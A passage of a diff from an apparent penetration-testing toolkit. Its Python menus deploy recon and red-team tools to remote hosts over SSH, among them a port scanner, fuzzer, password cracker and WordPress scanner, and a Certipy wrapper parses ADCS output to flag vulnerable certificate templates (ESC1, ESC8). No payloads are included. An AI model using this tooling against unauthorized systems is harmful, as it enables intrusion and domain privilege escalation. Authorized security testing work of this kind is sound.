|
||||||
|
return False
|
||||||
|
|
||||||
|
# SCP Umbra files
|
||||||
|
scp_cmd = _build_scp_cmd(ssh_key)
|
||||||
|
|
||||||
|
# Copy all Python files and wordlists
|
||||||
|
py_files = glob.glob(os.path.join(UMBRA_PATH, "*.py"))
|
||||||
|
if not py_files:
|
||||||
|
print(f"{COLORS['RED']}No Umbra Python files found at {UMBRA_PATH}{COLORS['RESET']}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
scp_cmd.extend(py_files)
|
||||||
|
scp_cmd.append(f"{ssh_user}@{host}:/opt/umbra/")
|
||||||
|
|
||||||
|
print(f" Copying {len(py_files)} Python files...")
|
||||||
|
result = subprocess.run(scp_cmd, capture_output=True, text=True)
|
||||||
|
if result.returncode != 0:
|
||||||
|
print(f"{COLORS['RED']}SCP failed: {result.stderr}{COLORS['RESET']}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Copy wordlists if they exist
|
||||||
|
wordlist_dir = os.path.join(UMBRA_PATH, "wordlists")
|
||||||
|
if os.path.isdir(wordlist_dir):
|
||||||
|
ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, "mkdir -p /opt/umbra/wordlists")
|
||||||
|
subprocess.run(ssh_cmd, capture_output=True)
|
||||||
|
|
||||||
|
scp_wl = _build_scp_cmd(ssh_key)
|
||||||
|
scp_wl.extend(["-r", wordlist_dir + "/"])
|
||||||
|
scp_wl.append(f"{ssh_user}@{host}:/opt/umbra/wordlists/")
|
||||||
|
print(f" Copying wordlists...")
|
||||||
|
subprocess.run(scp_wl, capture_output=True)
|
||||||
|
|
||||||
|
# Install pip dependencies
|
||||||
|
all_deps = set()
|
||||||
|
for tool in UMBRA_TOOLS:
|
||||||
|
info = TOOLS.get(tool, {})
|
||||||
|
all_deps.update(info.get("deps", []))
|
||||||
|
|
||||||
|
if all_deps:
|
||||||
|
deps_str = " ".join(sorted(all_deps))
|
||||||
|
print(f" Installing dependencies: {deps_str}")
|
||||||
|
install_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
|
||||||
|
f"pip3 install {deps_str} 2>/dev/null || pip install {deps_str}")
|
||||||
|
result = subprocess.run(install_cmd, capture_output=True, text=True, timeout=120)
|
||||||
|
if result.returncode != 0:
|
||||||
|
print(f"{COLORS['YELLOW']}Warning: Some deps may have failed: {result.stderr[:200]}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Verify
|
||||||
|
print(f" Verifying installation...")
|
||||||
|
verify_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
|
||||||
|
"python3 -m py_compile /opt/umbra/um_tui.py && echo 'VERIFY_OK'")
|
||||||
|
result = subprocess.run(verify_cmd, capture_output=True, text=True)
|
||||||
|
if "VERIFY_OK" in result.stdout:
|
||||||
|
print(f"{COLORS['GREEN']}Umbra deployed successfully to {host}:/opt/umbra/{COLORS['RESET']}")
|
||||||
|
log_deployment(host, UMBRA_TOOLS, ssh_user, ssh_key or "default")
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['RED']}Verification failed{COLORS['RESET']}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def deploy_redteam_remote(host, ssh_user, ssh_key):
|
||||||
|
"""Deploy Red Team tools to remote machine."""
|
||||||
|
print(f"\n{COLORS['CYAN']}Deploying Red Team tools to {ssh_user}@{host}...{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Create remote directories
|
||||||
|
ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
|
||||||
|
"mkdir -p /opt/redteam/{trashpanda,ioc-u,lions-share,micro-scope,linkedout,freebird,regex-search}")
|
||||||
|
subprocess.run(ssh_cmd, capture_output=True)
|
||||||
|
|
||||||
|
deployed = []
|
||||||
|
for tool_name in REDTEAM_TOOLS:
|
||||||
|
info = TOOLS.get(tool_name)
|
||||||
|
if not info:
|
||||||
|
continue
|
||||||
|
|
||||||
|
src_path = info["path"]
|
||||||
|
if not os.path.exists(src_path):
|
||||||
|
print(f" {COLORS['YELLOW']}Skipping {tool_name}: not found locally{COLORS['RESET']}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Determine remote path
|
||||||
|
remote_dir = f"/opt/redteam/{tool_name}"
|
||||||
|
src_dir = os.path.dirname(src_path)
|
||||||
|
|
||||||
|
scp_cmd = _build_scp_cmd(ssh_key)
|
||||||
|
|
||||||
|
# If it's a single file, just copy the file
|
||||||
|
if os.path.isfile(src_path) and src_dir == os.path.dirname(src_path):
|
||||||
|
ssh_mkdir = _build_ssh_cmd(host, ssh_user, ssh_key, f"mkdir -p {remote_dir}")
|
||||||
|
subprocess.run(ssh_mkdir, capture_output=True)
|
||||||
|
scp_cmd.extend([src_path, f"{ssh_user}@{host}:{remote_dir}/"])
|
||||||
|
else:
|
||||||
|
scp_cmd.extend(["-r", src_dir + "/"])
|
||||||
|
scp_cmd.append(f"{ssh_user}@{host}:{remote_dir}/")
|
||||||
|
|
||||||
|
result = subprocess.run(scp_cmd, capture_output=True, text=True)
|
||||||
|
if result.returncode == 0:
|
||||||
|
print(f" {COLORS['GREEN']}Deployed: {tool_name}{COLORS['RESET']}")
|
||||||
|
deployed.append(tool_name)
|
||||||
|
else:
|
||||||
|
print(f" {COLORS['RED']}Failed: {tool_name} — {result.stderr[:100]}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Install deps for deployed tools
|
||||||
|
all_deps = set()
|
||||||
|
for tool_name in deployed:
|
||||||
|
info = TOOLS.get(tool_name, {})
|
||||||
|
all_deps.update(info.get("deps", []))
|
||||||
|
|
||||||
|
if all_deps:
|
||||||
|
deps_str = " ".join(sorted(all_deps))
|
||||||
|
print(f"\n Installing dependencies: {deps_str}")
|
||||||
|
install_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
|
||||||
|
f"pip3 install {deps_str} 2>/dev/null || pip install {deps_str}")
|
||||||
|
subprocess.run(install_cmd, capture_output=True, text=True, timeout=120)
|
||||||
|
|
||||||
|
if deployed:
|
||||||
|
print(f"\n{COLORS['GREEN']}Deployed {len(deployed)} Red Team tools to {host}{COLORS['RESET']}")
|
||||||
|
log_deployment(host, deployed, ssh_user, ssh_key or "default")
|
||||||
|
return len(deployed) > 0
|
||||||
|
|
||||||
|
|
||||||
|
def ssh_run_tool(host, ssh_user, ssh_key, tool_path, interactive=True):
|
||||||
|
"""SSH into a remote machine and run a tool."""
|
||||||
|
if interactive:
|
||||||
|
cmd = _build_ssh_cmd(host, ssh_user, ssh_key, f"cd {os.path.dirname(tool_path)} && python3 {tool_path}",
|
||||||
|
interactive=True)
|
||||||
|
else:
|
||||||
|
cmd = _build_ssh_cmd(host, ssh_user, ssh_key, f"python3 {tool_path}")
|
||||||
|
|
||||||
|
print(f"\n{COLORS['CYAN']}Connecting to {ssh_user}@{host}...{COLORS['RESET']}")
|
||||||
|
try:
|
||||||
|
subprocess.run(cmd)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print(f"\n{COLORS['YELLOW']}Session ended{COLORS['RESET']}")
|
||||||
|
|
||||||
|
|
||||||
|
def check_remote_tools(host, ssh_user, ssh_key):
|
||||||
|
"""Check which tools are installed on a remote machine."""
|
||||||
|
print(f"\n{COLORS['CYAN']}Checking tools on {ssh_user}@{host}...{COLORS['RESET']}\n")
|
||||||
|
|
||||||
|
# Check Umbra
|
||||||
|
check_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
|
||||||
|
"ls /opt/umbra/*.py 2>/dev/null && echo '---DIVIDER---' && ls /opt/redteam/*/ 2>/dev/null")
|
||||||
|
result = subprocess.run(check_cmd, capture_output=True, text=True)
|
||||||
|
|
||||||
|
if result.returncode != 0:
|
||||||
|
print(f"{COLORS['YELLOW']}Could not connect or no tools found{COLORS['RESET']}")
|
||||||
|
return
|
||||||
|
|
||||||
|
output = result.stdout
|
||||||
|
if "---DIVIDER---" in output:
|
||||||
|
umbra_part, redteam_part = output.split("---DIVIDER---", 1)
|
||||||
|
else:
|
||||||
|
umbra_part = output
|
||||||
|
redteam_part = ""
|
||||||
|
|
||||||
|
print(f" {COLORS['WHITE']}Umbra Suite:{COLORS['RESET']}")
|
||||||
|
if umbra_part.strip():
|
||||||
|
for line in umbra_part.strip().splitlines():
|
||||||
|
fname = os.path.basename(line.strip())
|
||||||
|
print(f" {COLORS['GREEN']}FOUND{COLORS['RESET']} {fname}")
|
||||||
|
else:
|
||||||
|
print(f" {COLORS['RED']}Not installed{COLORS['RESET']}")
|
||||||
|
|
||||||
|
print(f"\n {COLORS['WHITE']}Red Team Tools:{COLORS['RESET']}")
|
||||||
|
if redteam_part.strip():
|
||||||
|
for line in redteam_part.strip().splitlines():
|
||||||
|
print(f" {COLORS['GREEN']}FOUND{COLORS['RESET']} {line.strip()}")
|
||||||
|
else:
|
||||||
|
print(f" {COLORS['RED']}Not installed{COLORS['RESET']}")
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Menu Functions ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def umbra_submenu():
|
||||||
|
"""Submenu for Umbra Reconnaissance Suite."""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}UMBRA RECONNAISSANCE SUITE{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}=========================={COLORS['RESET']}")
|
||||||
|
print(f"1) um-scan — TCP Port Scanner")
|
||||||
|
print(f"2) um-api — API Endpoint Discovery")
|
||||||
|
print(f"3) um-intel — OSINT Aggregator")
|
||||||
|
print(f"4) um-enum — URL Enumeration")
|
||||||
|
print(f"5) um-fuzz — Directory Fuzzer")
|
||||||
|
print(f"6) um-hash — Hash Extraction")
|
||||||
|
print(f"7) um-wp — WordPress Scanner")
|
||||||
|
print(f"8) um-crack — Password Cracker")
|
||||||
|
print(f"9) um-exif — EXIF Metadata")
|
||||||
|
print(f"10) um-vault — Database Manager")
|
||||||
|
print(f"99) Back")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect: ").strip()
|
||||||
|
|
||||||
|
tool_map = {
|
||||||
|
"1": "um-scan", "2": "um-api", "3": "um-intel",
|
||||||
|
"4": "um-enum", "5": "um-fuzz", "6": "um-hash",
|
||||||
|
"7": "um-wp", "8": "um-crack", "9": "um-exif",
|
||||||
|
"10": "um-vault",
|
||||||
|
}
|
||||||
|
|
||||||
|
if choice == "99":
|
||||||
|
return
|
||||||
|
elif choice in tool_map:
|
||||||
|
launch_local_tool(tool_map[choice])
|
||||||
|
wait_for_input()
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def redteam_submenu():
|
||||||
|
"""Submenu for Red Team Operations Tools."""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}RED TEAM OPERATIONS TOOLS{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}========================={COLORS['RESET']}")
|
||||||
|
print(f"1) TrashPanda — Network Enumeration")
|
||||||
|
print(f"2) IOC-U — Blue Team Detection & Intel")
|
||||||
|
print(f"3) Lions-Share — SSHFS Mount & Backup")
|
||||||
|
print(f"4) micro-scope — Scope Verification")
|
||||||
|
print(f"5) linkedout — LinkedIn OSINT")
|
||||||
|
print(f"6) ops-logger — Terminal Session Logging")
|
||||||
|
print(f"7) freebird — MITRE ATT&CK Framework")
|
||||||
|
print(f"8) regex-search — Sensitive Data Search")
|
||||||
|
print(f"9) certipy-enum — ADCS Enumeration")
|
||||||
|
print(f"10) ping-sweep — Network Discovery")
|
||||||
|
print(f"99) Back")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect: ").strip()
|
||||||
|
|
||||||
|
tool_map = {
|
||||||
|
"1": "trashpanda", "2": "ioc-u", "3": "lions-share",
|
||||||
|
"4": "micro-scope", "5": "linkedout", "6": "ops-logger",
|
||||||
|
"7": "freebird", "8": "regex-search", "9": "certipy-enum",
|
||||||
|
"10": "ping-sweep",
|
||||||
|
}
|
||||||
|
|
||||||
|
if choice == "99":
|
||||||
|
return
|
||||||
|
elif choice in tool_map:
|
||||||
|
launch_local_tool(tool_map[choice])
|
||||||
|
wait_for_input()
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def remote_submenu():
|
||||||
|
"""Submenu for Remote Deployment."""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}REMOTE DEPLOYMENT{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}================={COLORS['RESET']}")
|
||||||
|
print(f"1) Deploy Umbra Suite to Remote Machine")
|
||||||
|
print(f"2) Deploy Red Team Tools to Remote Machine")
|
||||||
|
print(f"3) Deploy All Tools to Remote Machine")
|
||||||
|
print(f"4) SSH into Remote & Run Umbra")
|
||||||
|
print(f"5) SSH into Remote & Run Tool")
|
||||||
|
print(f"6) Check Remote Tool Status")
|
||||||
|
print(f"99) Back")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect: ").strip()
|
||||||
|
|
||||||
|
if choice == "99":
|
||||||
|
return
|
||||||
|
|
||||||
|
elif choice == "1":
|
||||||
|
host, ssh_user, ssh_key = select_target_host()
|
||||||
|
if host:
|
||||||
|
deploy_umbra_remote(host, ssh_user, ssh_key)
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
elif choice == "2":
|
||||||
|
host, ssh_user, ssh_key = select_target_host()
|
||||||
|
if host:
|
||||||
|
deploy_redteam_remote(host, ssh_user, ssh_key)
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
elif choice == "3":
|
||||||
|
host, ssh_user, ssh_key = select_target_host()
|
||||||
|
if host:
|
||||||
|
deploy_umbra_remote(host, ssh_user, ssh_key)
|
||||||
|
deploy_redteam_remote(host, ssh_user, ssh_key)
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
elif choice == "4":
|
||||||
|
# SSH into remote and run Umbra launcher
|
||||||
|
deployments = get_deployments()
|
||||||
|
if not deployments:
|
||||||
|
host, ssh_user, ssh_key = select_target_host()
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['CYAN']}Known deployments:{COLORS['RESET']}")
|
||||||
|
for i, d in enumerate(deployments, 1):
|
||||||
|
print(f" {i}) {d['host']} ({d['ssh_user']}@) — deployed {d['timestamp']}")
|
||||||
|
print(f" {len(deployments) + 1}) Other host")
|
||||||
|
|
||||||
|
sel = input(f"\n Select: ").strip()
|
||||||
|
try:
|
||||||
|
idx = int(sel) - 1
|
||||||
|
if 0 <= idx < len(deployments):
|
||||||
|
d = deployments[idx]
|
||||||
|
host = d["host"]
|
||||||
|
ssh_user = d["ssh_user"]
|
||||||
|
ssh_key = d["ssh_key"] if d["ssh_key"] != "default" else None
|
||||||
|
else:
|
||||||
|
host, ssh_user, ssh_key = select_target_host()
|
||||||
|
except ValueError:
|
||||||
|
host, ssh_user, ssh_key = select_target_host()
|
||||||
|
|
||||||
|
if host:
|
||||||
|
ssh_run_tool(host, ssh_user, ssh_key, "/opt/umbra/umbra.py")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
elif choice == "5":
|
||||||
|
# SSH into remote and run a specific tool
|
||||||
|
host, ssh_user, ssh_key = select_target_host()
|
||||||
|
if not host:
|
||||||
|
wait_for_input()
|
||||||
|
continue
|
||||||
|
|
||||||
|
print(f"\n{COLORS['CYAN']}Select tool to run:{COLORS['RESET']}")
|
||||||
|
all_tools = list(TOOLS.keys())
|
||||||
|
for i, name in enumerate(all_tools, 1):
|
||||||
|
info = TOOLS[name]
|
||||||
|
status = f"{COLORS['GREEN']}LOCAL{COLORS['RESET']}" if os.path.exists(info["path"]) else f"{COLORS['RED']}MISSING{COLORS['RESET']}"
|
||||||
|
print(f" {i:2d}) {name:16s} — {info['desc']} [{status}]")
|
||||||
|
|
||||||
|
sel = input(f"\n Select tool #: ").strip()
|
||||||
|
try:
|
||||||
|
idx = int(sel) - 1
|
||||||
|
if 0 <= idx < len(all_tools):
|
||||||
|
tool_name = all_tools[idx]
|
||||||
|
info = TOOLS[tool_name]
|
||||||
|
# Determine remote path
|
||||||
|
if tool_name in UMBRA_TOOLS:
|
||||||
|
remote_path = f"/opt/umbra/{os.path.basename(info['path'])}"
|
||||||
|
else:
|
||||||
|
remote_path = f"/opt/redteam/{tool_name}/{os.path.basename(info['path'])}"
|
||||||
|
ssh_run_tool(host, ssh_user, ssh_key, remote_path)
|
||||||
|
except (ValueError, IndexError):
|
||||||
|
print(f"{COLORS['RED']}Invalid selection{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
elif choice == "6":
|
||||||
|
host, ssh_user, ssh_key = select_target_host()
|
||||||
|
if host:
|
||||||
|
check_remote_tools(host, ssh_user, ssh_key)
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def ops_submenu():
|
||||||
|
"""Submenu for Ops Dashboard & Engagement Management."""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}OPS & ENGAGEMENT MANAGEMENT{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}============================{COLORS['RESET']}")
|
||||||
|
print(f"1) Ops Dashboard — Real-Time Engagement Monitor")
|
||||||
|
print(f"2) Ops Bridge — Sync State from Remote Hosts")
|
||||||
|
print(f"3) Heartbeat Ingest — Receive Host Check-Ins")
|
||||||
|
print(f"4) Umbra tmux — Launch tmux Workspace")
|
||||||
|
print(f"99) Back")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect: ").strip()
|
||||||
|
|
||||||
|
if choice == "99":
|
||||||
|
return
|
||||||
|
elif choice == "1":
|
||||||
|
launch_local_tool("ops-dashboard")
|
||||||
|
wait_for_input()
|
||||||
|
elif choice == "2":
|
||||||
|
launch_local_tool("ops-bridge")
|
||||||
|
wait_for_input()
|
||||||
|
elif choice == "3":
|
||||||
|
launch_local_tool("heartbeat-ingest")
|
||||||
|
wait_for_input()
|
||||||
|
elif choice == "4":
|
||||||
|
_launch_umbra_tmux()
|
||||||
|
wait_for_input()
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def _launch_umbra_tmux():
|
||||||
|
"""Prompt for engagement and launch Umbra in tmux mode."""
|
||||||
|
engagement = input(f"\n Engagement name: ").strip()
|
||||||
|
if not engagement:
|
||||||
|
print(f"{COLORS['YELLOW']}No engagement specified.{COLORS['RESET']}")
|
||||||
|
return
|
||||||
|
umbra_script = os.path.join(UMBRA_PATH, "umbra.py")
|
||||||
|
if not os.path.exists(umbra_script):
|
||||||
|
print(f"{COLORS['RED']}Umbra launcher not found at {umbra_script}{COLORS['RESET']}")
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
subprocess.run([sys.executable, umbra_script, "-E", engagement, "--tmux", "--dashboard"])
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def _forensics_submenu():
|
||||||
|
"""Submenu for Forensics & Malware Analysis tools."""
|
||||||
|
# Delegate to the forensics module for full functionality
|
||||||
|
forensics_module_path = os.path.join(
|
||||||
|
os.path.dirname(__file__), '..', 'forensics', 'deploy_forensics.py'
|
||||||
|
)
|
||||||
|
if os.path.exists(forensics_module_path):
|
||||||
|
import importlib.util
|
||||||
|
spec = importlib.util.spec_from_file_location('deploy_forensics', forensics_module_path)
|
||||||
|
mod = importlib.util.module_from_spec(spec)
|
||||||
|
spec.loader.exec_module(mod)
|
||||||
|
mod.forensics_menu()
|
||||||
|
else:
|
||||||
|
# Fallback: launch tools directly
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}FORENSICS & MALWARE ANALYSIS{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}============================={COLORS['RESET']}")
|
||||||
|
print(f"1) IR-Sandbox (Interactive Menu)")
|
||||||
|
print(f"2) Link-Sandbox (URL Analysis)")
|
||||||
|
print(f"99) Back")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect: ").strip()
|
||||||
|
if choice == "99":
|
||||||
|
return
|
||||||
|
elif choice == "1":
|
||||||
|
launch_local_tool("ir-sandbox")
|
||||||
|
wait_for_input()
|
||||||
|
elif choice == "2":
|
||||||
|
launch_local_tool("link-sandbox")
|
||||||
|
wait_for_input()
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def recon_tools_menu():
|
||||||
|
"""Main entry point — called from c2itall deploy.py tools_menu()."""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}RECON & RED TEAM TOOLS{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}======================{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Show local tool status summary
|
||||||
|
umbra_found = sum(1 for t in UMBRA_TOOLS if check_tool_status(t))
|
||||||
|
redteam_found = sum(1 for t in REDTEAM_TOOLS if check_tool_status(t))
|
||||||
|
ops_found = sum(1 for t in OPS_TOOLS if check_tool_status(t))
|
||||||
|
print(f" Local: Umbra {COLORS['GREEN']}{umbra_found}/{len(UMBRA_TOOLS)}{COLORS['RESET']} | "
|
||||||
|
f"Red Team {COLORS['GREEN']}{redteam_found}/{len(REDTEAM_TOOLS)}{COLORS['RESET']} | "
|
||||||
|
f"Ops {COLORS['CYAN']}{ops_found}/{len(OPS_TOOLS)}{COLORS['RESET']}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
print(f"1) Umbra Reconnaissance Suite {COLORS['GREEN']}({umbra_found} tools){COLORS['RESET']}")
|
||||||
|
print(f"2) Red Team Operations Tools {COLORS['GREEN']}({redteam_found} tools){COLORS['RESET']}")
|
||||||
|
print(f"3) Remote Deployment & SSH")
|
||||||
|
print(f"4) Ops & Engagement Management {COLORS['CYAN']}(Dashboard, Bridge, Heartbeat){COLORS['RESET']}")
|
||||||
|
print(f"5) Forensics & Sandbox {COLORS['YELLOW']}(IR-Sandbox, Link-Sandbox){COLORS['RESET']}")
|
||||||
|
print(f"99) Return to Tools Menu")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect: ").strip()
|
||||||
|
|
||||||
|
if choice == "1":
|
||||||
|
umbra_submenu()
|
||||||
|
elif choice == "2":
|
||||||
|
redteam_submenu()
|
||||||
|
elif choice == "3":
|
||||||
|
remote_submenu()
|
||||||
|
elif choice == "4":
|
||||||
|
ops_submenu()
|
||||||
|
elif choice == "5":
|
||||||
|
_forensics_submenu()
|
||||||
|
elif choice == "99":
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
@@ -0,0 +1,353 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import subprocess
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import glob
|
||||||
|
import json
|
||||||
|
|
||||||
|
# Ops hook (safe no-op if c2itall not available)
|
||||||
|
try:
|
||||||
|
sys.path.insert(0, os.path.expanduser("~/tools/c2itall"))
|
||||||
|
from utils.ops_hook import OpsHook as _OpsHook
|
||||||
|
except ImportError:
|
||||||
|
_OpsHook = None
|
||||||
|
|
||||||
|
def run_command(cmd):
|
||||||
|
"""Run a command and return its output"""
|
||||||
|
try:
|
||||||
|
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60)
|
||||||
|
return result.stdout, result.stderr, result.returncode
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
return "", "Command timed out", 1
|
||||||
|
|
||||||
|
def read_latest_certipy_files():
|
||||||
|
"""Read the latest certipy output files"""
|
||||||
|
txt_files = glob.glob("*_Certipy.txt")
|
||||||
|
json_files = glob.glob("*_Certipy.json")
|
||||||
|
|
||||||
|
txt_content = ""
|
||||||
|
json_content = {}
|
||||||
|
|
||||||
|
if txt_files:
|
||||||
|
latest_txt = max(txt_files, key=os.path.getctime)
|
||||||
|
try:
|
||||||
|
with open(latest_txt, 'r', encoding='utf-8') as f:
|
||||||
|
txt_content = f.read()
|
||||||
|
except:
|
||||||
|
txt_content = ""
|
||||||
|
|
||||||
|
if json_files:
|
||||||
|
latest_json = max(json_files, key=os.path.getctime)
|
||||||
|
try:
|
||||||
|
with open(latest_json, 'r', encoding='utf-8') as f:
|
||||||
|
json_content = json.load(f)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Error reading JSON: {e}")
|
||||||
|
# Try reading as text and debugging
|
||||||
|
try:
|
||||||
|
with open(latest_json, 'r', encoding='utf-8') as f:
|
||||||
|
raw_content = f.read()
|
||||||
|
pass # raw content available for debugging if needed
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
json_content = {}
|
||||||
|
|
||||||
|
return txt_content, json_content
|
||||||
|
|
||||||
|
def parse_cas_from_json(json_data):
|
||||||
|
"""Extract CAs from JSON data - looking for CA Name field"""
|
||||||
|
cas = []
|
||||||
|
try:
|
||||||
|
if "Certificate Authorities" in json_data:
|
||||||
|
ca_section = json_data["Certificate Authorities"]
|
||||||
|
if isinstance(ca_section, dict):
|
||||||
|
for key, ca_info in ca_section.items():
|
||||||
|
if isinstance(ca_info, dict) and "CA Name" in ca_info:
|
||||||
|
cas.append(ca_info["CA Name"])
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Error parsing CAs: {e}")
|
||||||
|
return cas
|
||||||
|
|
||||||
|
def parse_templates_from_json(json_data):
|
||||||
|
"""
|
||||||
|
Extract templates and identify vulnerabilities:
|
||||||
|
- ESC1: Enrollee Supplies Subject = True + Enabled + User can enroll
|
||||||
|
- ESC2/ESC3: Look in [*] Remarks section
|
||||||
|
- User Enrollable: Look for [+] User Enrollable Principals
|
||||||
|
"""
|
||||||
|
all_templates = []
|
||||||
|
vulnerable_templates = []
|
||||||
|
user_enrollable_templates = []
|
||||||
|
esc1_templates = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
if "Certificate Templates" in json_data:
|
||||||
|
template_section = json_data["Certificate Templates"]
|
||||||
|
if isinstance(template_section, dict):
|
||||||
|
for template_key, template_info in template_section.items():
|
||||||
|
if isinstance(template_info, dict) and "Template Name" in template_info:
|
||||||
|
template_name = template_info["Template Name"]
|
||||||
|
all_templates.append(template_name)
|
||||||
|
|
||||||
|
# Check if enabled
|
||||||
|
is_enabled = template_info.get("Enabled", False)
|
||||||
|
|
||||||
|
# Check for ESC1: Enrollee Supplies Subject + enabled
|
||||||
|
enrollee_supplies = template_info.get("Enrollee Supplies Subject", False)
|
||||||
|
if enrollee_supplies and is_enabled:
|
||||||
|
esc1_templates.append(template_name)
|
||||||
|
vulnerable_templates.append(f"{template_name} (ESC1)")
|
||||||
|
|
||||||
|
# Check for vulnerabilities in [*] Remarks
|
||||||
|
if "[*] Remarks" in template_info:
|
||||||
|
remarks = template_info["[*] Remarks"]
|
||||||
|
if isinstance(remarks, dict):
|
||||||
|
for remark_key in remarks.keys():
|
||||||
|
if "ESC" in str(remark_key):
|
||||||
|
if template_name not in [v.split(' ')[0] for v in vulnerable_templates]:
|
||||||
|
vulnerable_templates.append(f"{template_name} ({remark_key.split()[0]})")
|
||||||
|
|
||||||
|
# Check for [+] User Enrollable Principals
|
||||||
|
if "[+] User Enrollable Principals" in template_info:
|
||||||
|
user_enrollable_templates.append(template_name)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Error parsing templates: {e}")
|
||||||
|
|
||||||
|
return all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates
|
||||||
|
|
||||||
|
def parse_targets_from_json(json_data):
|
||||||
|
"""Extract CA DNS names for targeting"""
|
||||||
|
targets = []
|
||||||
|
try:
|
||||||
|
if "Certificate Authorities" in json_data:
|
||||||
|
ca_section = json_data["Certificate Authorities"]
|
||||||
|
if isinstance(ca_section, dict):
|
||||||
|
for key, ca_info in ca_section.items():
|
||||||
|
if isinstance(ca_info, dict) and "DNS Name" in ca_info:
|
||||||
|
targets.append(ca_info["DNS Name"])
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Error parsing targets: {e}")
|
||||||
|
return targets
|
||||||
|
|
||||||
|
def parse_esc_vulnerabilities(json_data):
|
||||||
|
"""Extract ESC vulnerabilities from CA and template remarks"""
|
||||||
|
esc_vulns = []
|
||||||
|
try:
|
||||||
|
# CA level ESC (like ESC8)
|
||||||
|
if "Certificate Authorities" in json_data:
|
||||||
|
ca_section = json_data["Certificate Authorities"]
|
||||||
|
if isinstance(ca_section, dict):
|
||||||
|
for key, ca_info in ca_section.items():
|
||||||
|
if isinstance(ca_info, dict) and "[*] Remarks" in ca_info:
|
||||||
|
remarks = ca_info["[*] Remarks"]
|
||||||
|
if isinstance(remarks, dict):
|
||||||
|
for remark_key in remarks.keys():
|
||||||
|
if "ESC" in str(remark_key):
|
||||||
|
esc_vulns.append(remark_key)
|
||||||
|
|
||||||
|
# Template level ESC
|
||||||
|
if "Certificate Templates" in json_data:
|
